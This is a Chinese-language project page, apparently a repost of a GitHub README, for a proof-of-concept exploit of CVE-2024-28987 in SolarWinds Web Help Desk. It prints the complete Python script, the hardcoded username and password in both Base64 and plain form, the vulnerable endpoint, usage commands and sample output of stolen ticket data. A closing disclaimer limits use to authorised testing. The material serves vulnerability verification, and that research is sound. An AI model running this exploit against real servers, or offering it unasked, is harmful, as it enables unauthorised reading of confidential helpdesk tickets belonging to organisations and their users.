SolarWinds Web Help Desk 硬编码凭证漏洞利用工具 (CVE-2024-28987)

2 阅读3分钟

SolarWinds Web Help Desk 硬编码凭证漏洞利用工具 (CVE-2024-28987)

本项目提供了一个针对 CVE-2024-28987 漏洞的概念验证 (Proof of Concept) 利用脚本。该漏洞存在于 SolarWinds Web Help Desk 软件中,由于系统存在一组硬编码的静态凭证,未经身份验证的远程攻击者可以利用这些凭证访问敏感的帮助台票据信息。

功能特性

  • 远程票据读取:利用硬编码凭证,从目标 SolarWinds Web Help Desk 服务中读取帮助台票据。
  • 简单易用:通过命令行参数直接指定目标 URL,无需复杂配置。
  • 快速验证:自动判断目标是否存在漏洞,并以 JSON 格式清晰展示返回的票据数据。
  • 安全测试:专为安全研究人员和系统管理员设计,用于快速检测内部系统的漏洞风险。

安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理器

依赖安装

本项目依赖 requests 库。您可以使用以下命令安装所需依赖:

pip install requests

获取代码

克隆本仓库或直接下载 CVE-2024-28987.py 脚本文件。

git clone https://github.com/your-repo/CVE-2024-28987-PoC.git
cd CVE-2024-28987-PoC

使用说明

基础用法

使用 -u--url 参数指定目标 SolarWinds Web Help Desk 的根地址:

python3 CVE-2024-28987.py -u https://target-ip-or-domain

示例

python3 CVE-2024-28987.py -u https://192.168.1.100

成功输出示例:

[*] Attempting to retrieve tickets...
[*] Successfully read the helpdesk tickets!
[{'shortSubject': '无法登录系统',  'ticketId': '1001',  'status': '公开',  ...}]

失败输出示例:

[-] Target likely not vulnerable

参数说明

参数长参数说明必填
-h--help显示帮助信息
-u--url目标 SolarWinds Web Help Desk 的 URL 地址

工作原理

脚本向目标 URL 的 /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets 端点发送带有硬编码 Base64 认证头 (Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0RjgwMjVFNw==) 的 GET 请求。如果响应状态码为 200 且包含 shortSubject 字段,则判定目标存在漏洞并解析返回的 JSON 数据。

核心代码

漏洞利用核心函数

#!/usr/bin/python3
import argparse
import requests
import urllib3
import pprint

# 禁用 SSL 证书验证警告(仅用于测试环境)
urllib3.disable_warnings()

def read_helpdesk_tickets(url: str):
    """
    利用硬编码凭证读取 SolarWinds Web Help Desk 的帮助台票据

    参数:
        url: 目标 SolarWinds Web Help Desk 的基础 URL

    行为:
        - 发送带有硬编码认证头的 GET 请求
        - 根据响应判断目标是否存在漏洞
        - 若成功,以 JSON 格式打印票据信息
    """
    print(f'[*] Attempting to retrieve tickets...')
    
    # 硬编码凭证: helpdeskIntegrationUser / dev-C4F8025E7
    h = {'Authorization': 'Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0RjgwMjVFNw=='}
    
    # 发送请求,禁用 SSL 验证(注意:生产环境应启用验证)
    r = requests.get(
        f'{url}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets',
        headers=h,
        verify=False,
        timeout=30
    )
    
    # 判断漏洞是否存在
    if r.status_code == 200 and 'shortSubject' in r.text:
        print(f'[*] Successfully read the helpdesk tickets!')
        pprint.pprint(r.json())
    else:
        print(f'[-] Target likely not vulnerable')

命令行入口

if __name__ == "__main__":
    # 解析命令行参数
    parser = argparse.ArgumentParser(
        description='CVE-2024-28987: SolarWinds Web Help Desk Hardcoded Credential Vulnerability'
    )
    parser.add_argument(
        '-u', '--url',
        help='The URL of the target',
        type=str,
        required=True
    )
    args = parser.parse_args()
    
    # 执行漏洞利用
    read_helpdesk_tickets(args.url)

⚠️ 免责声明
本工具仅用于学术研究和授权环境下的安全测试。使用者须确保已获得目标系统的明确授权。项目作者及维护者不对任何因滥用本工具造成的后果承担责任。请负责任地使用。 6HFtX5dABrKlqXeO5PUv/xf6Yy8M6oPd+9FqtdEQGTA=